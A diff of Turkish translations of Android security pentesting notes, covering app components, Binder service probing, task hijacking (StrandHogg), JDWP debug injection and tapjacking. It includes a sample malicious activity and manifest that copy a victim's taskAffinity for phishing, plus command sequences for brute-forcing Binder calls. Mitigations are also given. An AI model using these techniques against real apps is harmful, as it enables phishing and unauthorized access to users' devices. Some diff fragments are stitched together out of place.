[Services](https://developer.android.com/guide/components/services) **arka plan operatifleri** olarak, kullanıcı arayüzü olmadan görevleri yerine getirebilen birimlere sahiptir. Bu görevler, kullanıcılar farklı uygulamalara geçse bile çalışmaya devam edebilir, bu da hizmetleri **uzun süreli işlemler** için kritik hale getirir.
|
||||
[Services](https://developer.android.com/guide/components/services) **arka plan operatifleri** olarak, kullanıcı arayüzü olmadan görevleri yerine getirebilen birimlerdir. Bu görevler, kullanıcılar farklı uygulamalara geçse bile çalışmaya devam edebilir, bu da hizmetleri **uzun süreli işlemler** için kritik hale getirir.
|
||||
|
||||
Hizmetler çok yönlüdür; çeşitli şekillerde başlatılabilirler, **Intents** bunları bir uygulamanın giriş noktası olarak başlatmanın birincil yöntemidir. Bir hizmet `startService` yöntemi kullanılarak başlatıldığında, `onStart` yöntemi devreye girer ve `stopService` yöntemi açıkça çağrılana kadar çalışmaya devam eder. Alternatif olarak, bir hizmetin rolü aktif bir istemci bağlantısına bağlıysa, istemciyi hizmete bağlamak için `bindService` yöntemi kullanılır ve veri geçişi için `onBind` yöntemi devreye girer.
|
||||
|
||||
@ -288,17 +288,17 @@ Hizmetlerin ilginç bir uygulaması, arka planda müzik çalma veya kullanıcıl
|
||||
|
||||
**Intent filtreleri**, her iki kayıt yönteminde de kritik öneme sahiptir ve hangi yayınların alıcıyı tetikleyeceğini belirler. Eşleşen bir yayın gönderildiğinde, alıcının **`onReceive`** metodu çağrılır ve uygulamanın buna göre tepki vermesini sağlar; örneğin, düşük pil uyarısına yanıt olarak davranışını ayarlamak gibi.
|
||||
|
||||
Yayınlar **asenkron** olabilir, tüm alıcılara sırasız ulaşır, veya **senkron** olabilir, burada alıcılar belirlenen önceliklere göre yayını alır. Ancak, herhangi bir uygulamanın kendisini önceliklendirebileceği ve bir yayını kesebileceği potansiyel güvenlik riskini not etmek önemlidir.
|
||||
Yayınlar ya **asenkron** olabilir, tüm alıcılara sırasız ulaşır, ya da **senkron** olabilir; burada alıcılar, belirlenen önceliklere göre yayını alır. Ancak, herhangi bir uygulamanın kendisini önceliklendirebileceği ve bir yayını kesebileceği potansiyel güvenlik riskini not etmek önemlidir.
|
||||
|
||||
Bir alıcının işlevselliğini anlamak için, sınıfı içinde **`onReceive`** metodunu arayın. Bu metodun kodu, alınan Intent'i manipüle edebilir ve alıcıların veri doğrulama ihtiyacını vurgular, özellikle **Sıralı Yayınlar**'da, bu Intent'i değiştirebilir veya atlayabilir.
|
||||
Bir alıcının işlevselliğini anlamak için, sınıfı içinde **`onReceive`** metodunu arayın. Bu metodun kodu, alınan Intent'i manipüle edebilir ve alıcıların veri doğrulama ihtiyacını vurgular; özellikle **Sıralı Yayınlar**'da, Intent'i değiştirebilir veya düşürebilir.
|
||||
|
||||
### İçerik Sağlayıcı
|
||||
|
||||
**İçerik Sağlayıcılar**, uygulamalar arasında **yapılandırılmış verilerin paylaşımı** için esastır ve veri güvenliğini sağlamak için **izinlerin** uygulanmasının önemini vurgular. Uygulamalar, veritabanları, dosya sistemleri veya web gibi çeşitli kaynaklardan verilere erişim sağlar. **`readPermission`** ve **`writePermission`** gibi belirli izinler, erişimi kontrol etmek için kritik öneme sahiptir. Ayrıca, uygulamanın manifestinde **`grantUriPermission`** ayarları aracılığıyla geçici erişim sağlanabilir; `path`, `pathPrefix` ve `pathPattern` gibi nitelikler detaylı erişim kontrolü için kullanılır.
|
||||
**İçerik Sağlayıcılar**, uygulamalar arasında **yapılandırılmış verilerin paylaşımı** için gereklidir ve veri güvenliğini sağlamak için **izinlerin** uygulanmasının önemini vurgular. Uygulamaların veritabanları, dosya sistemleri veya web gibi çeşitli kaynaklardan verilere erişmesine olanak tanır. **`readPermission`** ve **`writePermission`** gibi belirli izinler, erişimi kontrol etmek için kritik öneme sahiptir. Ayrıca, uygulamanın manifestinde **`grantUriPermission`** ayarları aracılığıyla geçici erişim sağlanabilir; `path`, `pathPrefix` ve `pathPattern` gibi nitelikler detaylı erişim kontrolü için kullanılır.
|
||||
|
||||
Girdi doğrulaması, SQL enjeksiyonu gibi güvenlik açıklarını önlemek için son derece önemlidir. İçerik Sağlayıcılar, uygulamalar arasında veri manipülasyonu ve paylaşımını kolaylaştıran temel işlemleri destekler: `insert()`, `update()`, `delete()` ve `query()`.
|
||||
Girdi doğrulaması, SQL enjeksiyonu gibi güvenlik açıklarını önlemek için son derece önemlidir. İçerik Sağlayıcılar, veri manipülasyonu ve uygulamalar arasında paylaşımı kolaylaştıran temel işlemleri destekler: `insert()`, `update()`, `delete()` ve `query()`.
|
||||
|
||||
**FileProvider**, dosyaları güvenli bir şekilde paylaşmaya odaklanan özel bir İçerik Sağlayıcıdır. Erişimi kontrol etmek için belirli niteliklerle uygulamanın manifestinde tanımlanır; bu nitelikler `android:exported` ve klasör yapılandırmalarını gösteren `android:resource` ile belirtilir. Hassas verilerin yanlışlıkla ifşa edilmesini önlemek için dizinleri paylaşırken dikkatli olunmalıdır.
|
||||
**FileProvider**, dosyaları güvenli bir şekilde paylaşmaya odaklanan özel bir İçerik Sağlayıcıdır. Erişimi kontrol etmek için belirli niteliklerle uygulamanın manifestinde tanımlanır; bu nitelikler, `android:exported` ve klasör yapılandırmalarını gösteren `android:resource` ile belirtilir. Duyarlı verilerin yanlışlıkla ifşa edilmesini önlemek için dizinleri paylaşırken dikkatli olunması önerilir.
|
||||
|
||||
FileProvider için örnek manifest bildirimi:
|
||||
```xml
|
||||
@ -328,7 +328,7 @@ WebViews, Android uygulamaları içinde **mini web tarayıcıları** gibidir, i
|
||||
Android, iki ana WebView türü sunar:
|
||||
|
||||
- **WebViewClient**, temel HTML için harikadır ancak JavaScript uyarı fonksiyonunu desteklemez, bu da XSS saldırılarının nasıl test edileceğini etkiler.
|
||||
- **WebChromeClient**, tam Chrome tarayıcı deneyimine daha çok benzer.
|
||||
- **WebChromeClient**, tam Chrome tarayıcı deneyimine daha yakın bir şekilde çalışır.
|
||||
|
||||
Önemli bir nokta, WebView tarayıcılarının cihazın ana tarayıcısıyla **çerez paylaşmamasıdır**.
|
||||
|
||||
@ -336,25 +336,25 @@ Android, iki ana WebView türü sunar:
|
||||
|
||||
JavaScript "Bridge", Java nesnelerinin JavaScript ile etkileşimde bulunmasına olanak tanır ve Android 4.2'den itibaren güvenlik için yöntemlerin `@JavascriptInterface` ile işaretlenmesi gerekmektedir.
|
||||
|
||||
İçerik erişimine izin vermek (`setAllowContentAccess(true)`), WebView'lerin İçerik Sağlayıcılara ulaşmasına olanak tanır, bu da içerik URL'leri güvenli olarak doğrulanmadıkça bir risk oluşturabilir.
|
||||
İçerik erişimine izin vermek (`setAllowContentAccess(true)`), WebView'lerin İçerik Sağlayıcılarına ulaşmasına olanak tanır, bu da içerik URL'leri güvenli olarak doğrulanmadıkça bir risk oluşturabilir.
|
||||
|
||||
Dosya erişimini kontrol etmek için:
|
||||
|
||||
- Dosya erişimini devre dışı bırakmak (`setAllowFileAccess(false)`), dosya sistemine erişimi sınırlar, belirli varlıklar için istisnalarla, bunların yalnızca hassas olmayan içerikler için kullanılmasını sağlar.
|
||||
- Dosya erişimini devre dışı bırakmak (`setAllowFileAccess(false)`), dosya sistemine erişimi sınırlar, belirli varlıklar için istisnalarla, yalnızca hassas olmayan içerikler için kullanılmasını sağlar.
|
||||
|
||||
## Other App Components and Mobile Device Management
|
||||
|
||||
### **Digital Signing of Applications**
|
||||
|
||||
- **Dijital imza**, Android uygulamaları için zorunludur, uygulamaların kurulumdan önce **gerçekten yazıldığını** garanti eder. Bu süreç, uygulama kimliği için bir sertifika kullanır ve kurulum sırasında cihazın paket yöneticisi tarafından doğrulanmalıdır. Uygulamalar **kendinden imzalı veya harici bir CA tarafından sertifikalandırılmış** olabilir, yetkisiz erişime karşı koruma sağlar ve uygulamanın cihaza teslimatı sırasında değiştirilmediğinden emin olur.
|
||||
- **Dijital imza**, Android uygulamaları için zorunludur ve uygulamaların yüklemeden önce **gerçekten yazıldığı** garantisini sağlar. Bu süreç, uygulama kimliği için bir sertifika kullanır ve yükleme sırasında cihazın paket yöneticisi tarafından doğrulanmalıdır. Uygulamalar **kendinden imzalı veya harici bir CA tarafından sertifikalandırılmış** olabilir, yetkisiz erişime karşı koruma sağlar ve uygulamanın cihazın teslimatı sırasında değiştirilmeden kalmasını garanti eder.
|
||||
|
||||
### **App Verification for Enhanced Security**
|
||||
|
||||
- **Android 4.2**'den itibaren, **Uygulamaları Doğrula** adlı bir özellik, kullanıcıların uygulamaların kurulumdan önce güvenliğini kontrol etmelerine olanak tanır. Bu **doğrulama süreci**, kullanıcıları potansiyel olarak zararlı uygulamalar hakkında uyarabilir veya özellikle kötü niyetli olanların kurulumunu engelleyebilir, kullanıcı güvenliğini artırır.
|
||||
- **Android 4.2**'den itibaren, **Uygulamaları Doğrula** adlı bir özellik, kullanıcıların yüklemeden önce uygulamaların güvenliğini kontrol etmelerine olanak tanır. Bu **doğrulama süreci**, kullanıcıları potansiyel olarak zararlı uygulamalar hakkında uyarabilir veya özellikle kötü niyetli olanların yüklenmesini engelleyebilir, kullanıcı güvenliğini artırır.
|
||||
|
||||
### **Mobile Device Management (MDM)**
|
||||
|
||||
- **MDM çözümleri**, **Cihaz Yönetimi API'si** aracılığıyla mobil cihazlar için **denetim ve güvenlik** sağlar. Mobil cihazları etkili bir şekilde yönetmek ve güvence altına almak için bir Android uygulamasının kurulmasını gerektirir. Ana işlevler arasında **şifre politikalarını uygulamak**, **depolama şifrelemesini zorunlu kılmak** ve **uzaktan veri silme izni vermek** bulunur, bu da mobil cihazlar üzerinde kapsamlı kontrol ve güvenlik sağlar.
|
||||
- **MDM çözümleri**, **Cihaz Yönetimi API'si** aracılığıyla mobil cihazlar için **denetim ve güvenlik** sağlar. Mobil cihazları etkili bir şekilde yönetmek ve güvence altına almak için bir Android uygulamasının yüklenmesini gerektirir. Ana işlevler arasında **şifre politikalarının uygulanması**, **depolama şifrelemesinin zorunlu kılınması** ve **uzaktan veri silme izni verme** bulunur, bu da mobil cihazlar üzerinde kapsamlı kontrol ve güvenlik sağlar.
|
||||
```java
|
||||
// Example of enforcing a password policy with MDM
|
||||
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
|
||||
@ -376,27 +376,29 @@ service list # simple one-liner
|
||||
am list services # identical output, ActivityManager wrapper
|
||||
```
|
||||
1. Android uygulamaları, Java veya Kotlin gibi dillerde yazılmıştır.
|
||||
2. Android uygulamaları, APK (Android Package) dosyaları olarak dağıtılır.
|
||||
3. APK dosyaları, uygulamanın kaynak kodunu, kaynak dosyalarını ve manifest dosyasını içerir.
|
||||
4. AndroidManifest.xml, uygulamanın yapılandırma bilgilerini tanımlar.
|
||||
5. Uygulama, Android işletim sistemi üzerinde çalışmak için gerekli izinleri belirtir.
|
||||
2. Uygulamalar, Android SDK kullanılarak geliştirilir.
|
||||
3. APK dosyaları, uygulamanın dağıtım formatıdır.
|
||||
4. AndroidManifest.xml, uygulamanın yapılandırma dosyasıdır.
|
||||
5. Uygulama bileşenleri, Activity, Service, Broadcast Receiver ve Content Provider'dan oluşur.
|
||||
6. Uygulama verileri, SQLite veritabanları veya Shared Preferences ile saklanır.
|
||||
7. Uygulama güvenliği, kod obfuscation ve güvenlik testleri ile artırılabilir.
|
||||
```
|
||||
145 mtkconnmetrics: [com.mediatek.net.connectivity.IMtkIpConnectivityMetrics]
|
||||
146 wifi : [android.net.wifi.IWifiManager]
|
||||
```
|
||||
* **index** (ilk sütun) çalışma zamanında atanır – yeniden başlatmalarda buna ***güvenmeyin***.
|
||||
* **index** (ilk sütun) çalışma zamanında atanır – yeniden başlatmalar arasında buna ***güvenmeyin***.
|
||||
* **Binder adı** (örneğin `mtkconnmetrics`), `service call`'a geçirilecek olandır.
|
||||
* Parantez içindeki değer, stub'un oluşturulduğu tam nitelikli **AIDL arayüzü**'dür.
|
||||
|
||||
### 2. Arayüz tanımlayıcısını elde et (PING)
|
||||
Her Binder stub'ı otomatik olarak **işlem kodu `0x5f4e5446`** (`1598968902` ondalık, ASCII "_NTF")'yi uygular.
|
||||
Her Binder stub'u otomatik olarak **işlem kodu `0x5f4e5446`** (`1598968902` ondalık, ASCII "_NTF")'yi uygular.
|
||||
```bash
|
||||
# "ping" the service
|
||||
service call mtkconnmetrics 1 # 1 == decimal 1598968902 mod 2^32
|
||||
```
|
||||
Geçerli bir yanıt, bir `Parcel` içinde UTF-16 dizesi olarak kodlanmış arayüz adını döndürür.
|
||||
|
||||
### 3. Bir işlem çağırma
|
||||
### 3. Bir işlemi çağırma
|
||||
Sözdizimi: `service call <name> <code> [type value ...]`
|
||||
|
||||
Yaygın argüman belirteçleri:
|
||||
@ -409,7 +411,7 @@ Yaygın argüman belirteçleri:
|
||||
service call mtkconnmetrics 8 i32 1
|
||||
```
|
||||
### 4. Bilinmeyen yöntemleri brute-force ile denemek
|
||||
Header dosyaları mevcut olmadığında, hatanın şu şekilde değişene kadar **kod üzerinde yineleme yapabilirsiniz**:
|
||||
Header dosyaları mevcut değilse, hatanın şu şekilde değişene kadar **kodu yineleyebilirsiniz**:
|
||||
```
|
||||
Result: Parcel(00000000 00000000) # "Not a data message"
|
||||
```
|
||||
@ -434,7 +436,7 @@ updateCtaAppStatus(appId, ok);
|
||||
reply.writeNoException();
|
||||
return true;
|
||||
```
|
||||
Şimdi prototip ve **parametre türleri** tamamen net.
|
||||
Artık prototip ve **parametre türleri** tamamen net.
|
||||
|
||||
### 6. Eksik izin kontrollerini tespit etme
|
||||
Uygulama (genellikle bir iç `Impl` sınıfı) yetkilendirmeden sorumludur:
|
||||
@ -453,7 +455,7 @@ Vaka çalışması – *MediaTek* `startMonitorProcessWithUid()` (işlem **8**)
|
||||
### 7. Değerlendirmeyi otomatikleştirme
|
||||
Binder keşfini hızlandıran araçlar / betikler:
|
||||
* [binderfs](https://android.googlesource.com/platform/frameworks/native/+/master/cmds/binderfs/) – hizmet başına düğümlerle `/dev/binderfs`'yi açar
|
||||
* [`binder-scanner.py`](https://github.com/adenflare/binder-scanner) – binder tablosunu gezer ve ACL'leri yazdırır
|
||||
* [`binder-scanner.py`](https://github.com/adenflare/binder-scanner) – binder tablosunu dolaşır ve ACL'leri yazdırır
|
||||
* Frida kısayolu: `Java.perform(()=>console.log(android.os.ServiceManager.listServices().toArray()))`
|
||||
|
||||
---
|
||||
|
||||
@ -19,11 +19,11 @@ Aktivite geçişlerinin hızlı bir özeti:
|
||||
|
||||
## Görev yakınlığı saldırıları
|
||||
|
||||
`taskAffinity`, Android'e bir `Activity`'nin hangi göreve *tercih ettiğini* söyler. İki aktivite aynı yakınlığa sahip olduğunda, **Android bunları farklı APK'lerden gelse bile aynı geri yığında birleştirmeye izin verir**.
|
||||
`taskAffinity`, Android'e bir `Activity`'nin hangi göreve *tercih ettiğini* söyler. İki aktivite aynı yakınlığa sahip olduğunda, **Android bunları farklı APK'lerden gelseler bile aynı geri yığında birleştirmeye izin verir**.
|
||||
|
||||
Eğer bir saldırgan, o yığının **köküne** kötü niyetli bir aktivite yerleştirebilirse, kurban meşru uygulamayı her açtığında, kullanıcıya ilk olarak kötü niyetli arayüz gösterilecektir – bu, kimlik avı veya kötüye kullanım izin talepleri için mükemmeldir.
|
||||
|
||||
Saldırı yüzeyi, birçok geliştiricinin düşündüğünden daha geniştir çünkü **her aktivite otomatik olarak uygulama paket adıyla eşit bir yakınlık miras alır** (geliştirici `android:taskAffinity=""` ayarlamadığı sürece). Bu nedenle *hiçbir şey yapmamak*, Android 11'den önceki sürümlerde uygulamanın görev ele geçirmeye açık kalmasına neden olur.
|
||||
Saldırı yüzeyi, birçok geliştiricinin düşündüğünden daha geniştir çünkü **her aktivite otomatik olarak uygulama paket adıyla eşit bir yakınlık miras alır** (geliştirici `android:taskAffinity=""` ayarlamadıkça). Bu nedenle *hiçbir şey yapmamak*, Android 11'den önceki sürümlerde uygulamanın görev ele geçirmeye açık kalmasına neden olur.
|
||||
|
||||
### Klasik "singleTask / StrandHogg" senaryosu
|
||||
|
||||
@ -39,7 +39,7 @@ android:launchMode="singleTask" >
|
||||
</intent-filter>
|
||||
</activity>
|
||||
```
|
||||
2. Kötü niyetli uygulama bir kez başlatılır, böylece (sahte yakınlığa sahip) görev son görevler içinde var olur.
|
||||
2. Kötü niyetli uygulama bir kez başlatılır, böylece (sahte yakınlığa sahip) görev son görevler arasında var olur.
|
||||
3. Kullanıcı daha sonra gerçek uygulamayı açtığında, Android zaten kök yakınlığı paketiyle eşleşen bir görev bulur ve o görevi ön plana getirir.
|
||||
4. Saldırganın arayüzü ilk olarak gösterilir.
|
||||
|
||||
@ -56,7 +56,7 @@ moveTaskToBack(true) // görevi son görevlerde tut ama görünmez yap
|
||||
}
|
||||
}
|
||||
```
|
||||
2. Manifest, yalnızca kurban paketini `taskAffinity` içine kopyalamalıdır:
|
||||
2. Manifest, yalnızca kurban paketini `taskAffinity`'ye kopyalamayı gerektirir:
|
||||
```xml
|
||||
<activity android:name=".HackActivity"
|
||||
android:exported="true"
|
||||
@ -70,13 +70,13 @@ android:taskAffinity="com.caller.id.phone.number.block" >
|
||||
3. Kullanıcı kötü niyetli uygulamayı **bir kez** yükleyip açtığında, kurban paketine eşit bir yakınlığa sahip bir görev var olur (ama arka planda kalır).
|
||||
4. Gerçek Arayan Kimliği uygulaması başlatıldığında, Android o görevi yeniden kullanır ve `HackActivity`'yi ön plana getirir → kimlik avı penceresi/izin kötüye kullanımı.
|
||||
|
||||
> NOT: **Android 11 (API 30)** ile birlikte sistem, varsayılan olarak aynı UID'nin parçası olmayan iki paketi aynı göreve yerleştirmez, bu belirli varyantı azaltır. Eski sürümler hala savunmasızdır.
|
||||
> NOT: **Android 11 (API 30)** ile birlikte sistem, varsayılan olarak aynı UID'nin parçası olmayan iki paketi aynı göreve yerleştirmemektedir; bu, bu belirli varyantı hafifletmektedir. Eski sürümler hala savunmasızdır.
|
||||
|
||||
---
|
||||
|
||||
### StrandHogg 2.0 (CVE-2020-0096) – Yansıma tabanlı görev ele geçirme
|
||||
|
||||
Google’ın Mayıs 2020 güvenlik bülteni, **StrandHogg 2.0** olarak adlandırılan daha gelişmiş bir varyantı düzeltmiştir. Sömürü, **hiçbir şekilde `taskAffinity`'ye dayanmaz**; bunun yerine, saldırganın aktivitesini *her* çalışan görevin en üstüne dinamik olarak eklemek için *yansıma* kullanır ve Android 11 tarafından tanıtılan “paylaşılan-UID” kısıtlamasını tamamen atlar.
|
||||
Google'ın Mayıs 2020 güvenlik bülteni, **StrandHogg 2.0** olarak adlandırılan daha gelişmiş bir varyantı düzeltmiştir. Sömürü, **hiçbir şekilde `taskAffinity`'ye dayanmaz**; bunun yerine, saldırganın aktivitesini *her* çalışan görevin en üstüne dinamik olarak eklemek için *yansıma* kullanır ve Android 11 tarafından tanıtılan "paylaşılan-UID" kısıtlamasını tamamen atlar.
|
||||
|
||||
Ana noktalar:
|
||||
|
||||
@ -84,15 +84,15 @@ Ana noktalar:
|
||||
* Aktivite çalışma zamanından sonra eklendiği için, ne `launchMode` ne de statik manifest analizi saldırıyı önceden tespit edebilir.
|
||||
* **Android 8.0/8.1/9**'a bir kontrol ekleyerek yamanmıştır (Mayıs 2020 SPL). **Android 10 ve sonrası etkilenmez.**
|
||||
|
||||
Yamanmamış cihazlarda tespit, `adb shell dumpsys activity activities` ile gerçekleştirilebilir ve görevlerin *yakınlığı* ile paket adı farklı olan şüpheli aktiviteleri izleyerek yapılabilir.
|
||||
Yamanmamış cihazlarda tespit, `adb shell dumpsys activity activities` ile yapılabilir ve görevlerin *yakınlığı* ile paket adı farklı olan şüpheli aktiviteleri izleyerek gerçekleştirilebilir.
|
||||
|
||||
Eski cihazlar için azaltma, klasik Görev Ele Geçirme ile aynıdır **artı** çalışma zamanı doğrulaması (örneğin, [`ActivityManager#getRunningTasks`](https://developer.android.com/reference/android/app/ActivityManager#getRunningTasks(int)) çağrısı yaparak ve kendi paket adınızı doğrulayarak).
|
||||
Eski cihazlar için hafifletme, klasik Görev Ele Geçirme ile aynıdır **artı** çalışma zamanı doğrulaması (örneğin, [`ActivityManager#getRunningTasks`](https://developer.android.com/reference/android/app/ActivityManager#getRunningTasks(int)) çağrısı yaparak ve kendi paket adınızı doğrulayarak).
|
||||
|
||||
---
|
||||
|
||||
## Tespit & Sömürü kontrol listesi
|
||||
|
||||
1. **Statik inceleme** – Hedef APK'dan `AndroidManifest.xml` dosyasını çekin ve her `<activity>` (veya global `<application>` öğesi) için `android:taskAffinity=""` (boş) **veya** özelleştirilmiş bir değer içerip içermediğini kontrol edin. Araçlar şunlardır:
|
||||
1. **Statik inceleme** – Hedef APK'dan `AndroidManifest.xml`'yi çekin ve her `<activity>` (veya global `<application>` öğesinin) `android:taskAffinity=""` (boş) **veya** özelleştirilmiş bir değer içerip içermediğini kontrol edin. Araçlar şunlardır:
|
||||
```bash
|
||||
# apkanalyzer (Android SDK) kullanarak
|
||||
apkanalyzer manifest print app.apk | grep -i taskaffinity
|
||||
@ -114,7 +114,7 @@ run app.activity.info com.victim
|
||||
|
||||
---
|
||||
|
||||
## Azaltma
|
||||
## Hafifletme
|
||||
|
||||
Geliştiriciler şunları yapmalıdır:
|
||||
|
||||
@ -128,7 +128,7 @@ Geliştiriciler şunları yapmalıdır:
|
||||
|
||||
## İlgili UI-Ele Geçirme teknikleri
|
||||
|
||||
Görev ele geçirme genellikle **tapjacking** (overlay tabanlı UI aldatması) ile birleştirilir veya onunla değiştirilir. 2025 **TapTrap** araştırması, tamamen şeffaf *animasyon destekli* aktivitelerin Android 12–14'te tanıtılan overlay dokunma kısıtlamalarını aşabileceğini ve kullanıcıları tehlikeli izinler vermeye ikna edebileceğini göstermiştir. TapTrap kesinlikle *görev* ele geçirme olmasa da, nihai hedef (kimlik avı tıklamaları) aynıdır – bu nedenle modern değerlendirmeler her iki saldırı yüzeyini de kontrol etmelidir.
|
||||
Görev ele geçirme genellikle **tapjacking** (overlay tabanlı UI aldatmacası) ile birleştirilir veya onunla değiştirilir. 2025 **TapTrap** araştırması, tamamen şeffaf *animasyon destekli* aktivitelerin Android 12–14'te tanıtılan overlay-touch kısıtlamalarını aşabileceğini ve kullanıcıları tehlikeli izinler vermeye kandırabileceğini göstermiştir. TapTrap kesinlikle *görev* ele geçirme olmasa da, nihai hedef (kimlik avı tıklamaları) aynıdır – bu nedenle modern değerlendirmeler her iki saldırı yüzeyini de kontrol etmelidir.
|
||||
|
||||
---
|
||||
|
||||
|
||||
@ -18,7 +18,7 @@ Bu bölüm, [**https://medium.com/@shubhamsonani/hacking-with-precision-bypass-t
|
||||
- _android-manifest_ dosyasına `android:debuggable="true"` ekleyerek hata ayıklama modunu etkinleştirin.
|
||||
- Değiştirilen uygulamayı yeniden derleyin, imzalayın ve zipalign yapın.
|
||||
|
||||
2. **Değiştirilen Uygulamayı Yükle:**
|
||||
2. **Değiştirilmiş Uygulamayı Yükle:**
|
||||
|
||||
- Komutu kullanın: `adb install <application_name>`.
|
||||
|
||||
@ -73,7 +73,7 @@ Bir düğme ve bir metin görünümü içeren savunmasız bir uygulama kullanıl
|
||||
- JDWP (Java Debug Wire Protocol), bir VM'de çalışan bir uygulamanın hata ayıklanmasını sağlamak için benzersiz bir port açar.
|
||||
- Uzaktan hata ayıklama için port yönlendirme gerekliydi, ardından JDB hedef uygulamaya bağlandı.
|
||||
|
||||
## **Çalışma Zamanında Kod Enjeksiyonu**
|
||||
## **Çalışma Zamanında Kod Enjekte Etme**
|
||||
|
||||
- İstismar, kesme noktaları ayarlayarak ve uygulama akışını kontrol ederek gerçekleştirildi.
|
||||
- Uygulamanın yapısını ortaya çıkarmak için `classes` ve `methods <class_name>` gibi komutlar kullanıldı.
|
||||
@ -107,7 +107,7 @@ adb jdwp # obtain the PID
|
||||
adb forward tcp:8700 jdwp:<pid>
|
||||
jdb -connect com.sun.jdi.SocketAttach:hostname=localhost,port=8700
|
||||
```
|
||||
> Adım 1'deki hazırlanmış değer, ayrıştırıcıyı “hızlı yol”dan çıkarır ve `--runtime-flags=0x104` (`DEBUG_ENABLE_JDWP | DEBUG_JNI_DEBUGGABLE`) içeren ikinci bir sentetik komut ekler; bu, çerçeve tarafından sağlanmış gibi kabul edilir. Uygulama başlatıldığında, bir JDWP soketi açılır ve düzenli dinamik hata ayıklama hileleri (metot değiştirme, değişken yamanası, canlı Frida enjeksiyonu vb.) **APK veya cihaz önyükleme görüntüsünü değiştirmeden** mümkündür.
|
||||
> Adım 1'deki hazırlanmış değer, ayrıştırıcıyı “hızlı yol”dan çıkarır ve `--runtime-flags=0x104` (`DEBUG_ENABLE_JDWP | DEBUG_JNI_DEBUGGABLE`) içeren ikinci bir sentetik komut ekler; bu, çerçeve tarafından sağlanmış gibi kabul edilir. Uygulama başlatıldığında, bir JDWP soketi açılır ve düzenli dinamik hata ayıklama hileleri (metot değiştirme, değişken yamanması, canlı Frida enjeksiyonu vb.) **APK veya cihaz önyükleme görüntüsünü değiştirmeden** mümkündür.
|
||||
|
||||
## Tespit ve Azaltma
|
||||
|
||||
|
||||
@ -4,14 +4,14 @@
|
||||
|
||||
## **Temel Bilgiler**
|
||||
|
||||
**Tapjacking**, **kötü niyetli** bir **uygulamanın** başlatıldığı ve **bir kurban uygulamanın üzerine yerleştiği** bir saldırıdır. Kurban uygulamayı görünür şekilde gizlediğinde, kullanıcı arayüzü, kullanıcının onunla etkileşimde bulunmasını sağlamak için tasarlanmıştır, bu esnada etkileşim kurban uygulamaya iletilmektedir.\
|
||||
**Tapjacking**, **kötü niyetli** bir **uygulamanın** başlatıldığı ve **bir kurban uygulamanın üzerine yerleştiği** bir saldırıdır. Kurban uygulamayı görünür şekilde gizlediğinde, kullanıcı arayüzü, kullanıcının onunla etkileşimde bulunmasını sağlamak için tasarlanmıştır, bu sırada etkileşim kurban uygulamaya iletilir.\
|
||||
Sonuç olarak, bu durum **kullanıcının aslında kurban uygulamasında eylem gerçekleştirdiğini bilmesini engellemektedir**.
|
||||
|
||||
### Tespit
|
||||
|
||||
Bu saldırıya karşı savunmasız uygulamaları tespit etmek için, android manifestinde **dışa aktarılan aktiviteleri** aramalısınız (bir intent-filter ile bir aktivitenin varsayılan olarak otomatik olarak dışa aktarıldığını unutmayın). Dışa aktarılan aktiviteleri bulduktan sonra, **herhangi bir izin gerektirip gerektirmediğini kontrol edin**. Bunun nedeni, **kötü niyetli uygulamanın da o izne ihtiyaç duymasıdır**.
|
||||
|
||||
Ayrıca uygulamanın minimum SDK sürümünü kontrol edebilirsiniz, **`AndroidManifest.xml`** dosyasında **`android:minSdkVersion`** değerine bakarak. Değer **30'dan düşükse**, uygulama Tapjacking'e karşı savunmasızdır.
|
||||
Ayrıca uygulamanın minimum SDK sürümünü kontrol edebilirsiniz, **`AndroidManifest.xml`** dosyasındaki **`android:minSdkVersion`** değerine bakarak. Değer **30'dan düşükse**, uygulama Tapjacking'e karşı savunmasızdır.
|
||||
|
||||
### Koruma
|
||||
|
||||
@ -21,7 +21,7 @@ Ayrıca uygulamanın minimum SDK sürümünü kontrol edebilirsiniz, **`AndroidM
|
||||
|
||||
#### `filterTouchesWhenObscured`
|
||||
|
||||
Eğer **`android:filterTouchesWhenObscured`** **`true`** olarak ayarlandıysa, `View`, görünür bir pencere tarafından gizlendiğinde dokunuşları almayacaktır.
|
||||
Eğer **`android:filterTouchesWhenObscured`** **`true`** olarak ayarlandıysa, `View`, görünür bir başka pencere tarafından gizlendiğinde dokunuşları almayacaktır.
|
||||
|
||||
#### **`setFilterTouchesWhenObscured`**
|
||||
|
||||
@ -39,7 +39,7 @@ android:filterTouchesWhenObscured="true">
|
||||
|
||||
### Tapjacking-ExportedActivity
|
||||
|
||||
En **son Android uygulaması** olan Tapjacking saldırısını gerçekleştiren uygulama (+ saldırıya uğrayan uygulamanın dışa aktarılan aktivitesinden önce çağırma) şu adreste bulunabilir: [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity).
|
||||
En **son Android uygulaması** olan Tapjacking saldırısını gerçekleştiren (+ saldırıya uğrayan uygulamanın dışa aktarılan aktivitesinden önce çağırma) bulabilirsiniz: [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity).
|
||||
|
||||
**Kullanmak için README talimatlarını** takip edin.
|
||||
|
||||
@ -56,20 +56,20 @@ Kötü niyetli bir uygulama oluşturmak için [**qark**](https://github.com/link
|
||||
|
||||
Zafiyetin giderilmesi oldukça basittir, çünkü geliştirici bir görünüm başka bir görünüm tarafından kaplandığında dokunma olaylarını almamayı seçebilir. [Android Geliştirici Referansı](https://developer.android.com/reference/android/view/View#security) kullanarak:
|
||||
|
||||
> Bazen bir uygulamanın, bir izin isteği verme, bir satın alma yapma veya bir reklama tıklama gibi bir eylemin kullanıcının tam bilgisi ve rızasıyla gerçekleştirildiğini doğrulaması önemlidir. Ne yazık ki, kötü niyetli bir uygulama, görünümün niyet edilen amacını gizleyerek kullanıcının bu eylemleri gerçekleştirmesini sağlamak için onu kandırmaya çalışabilir. Bir çözüm olarak, çerçeve, hassas işlevselliğe erişim sağlayan görünümlerin güvenliğini artırmak için kullanılabilecek bir dokunma filtreleme mekanizması sunar.
|
||||
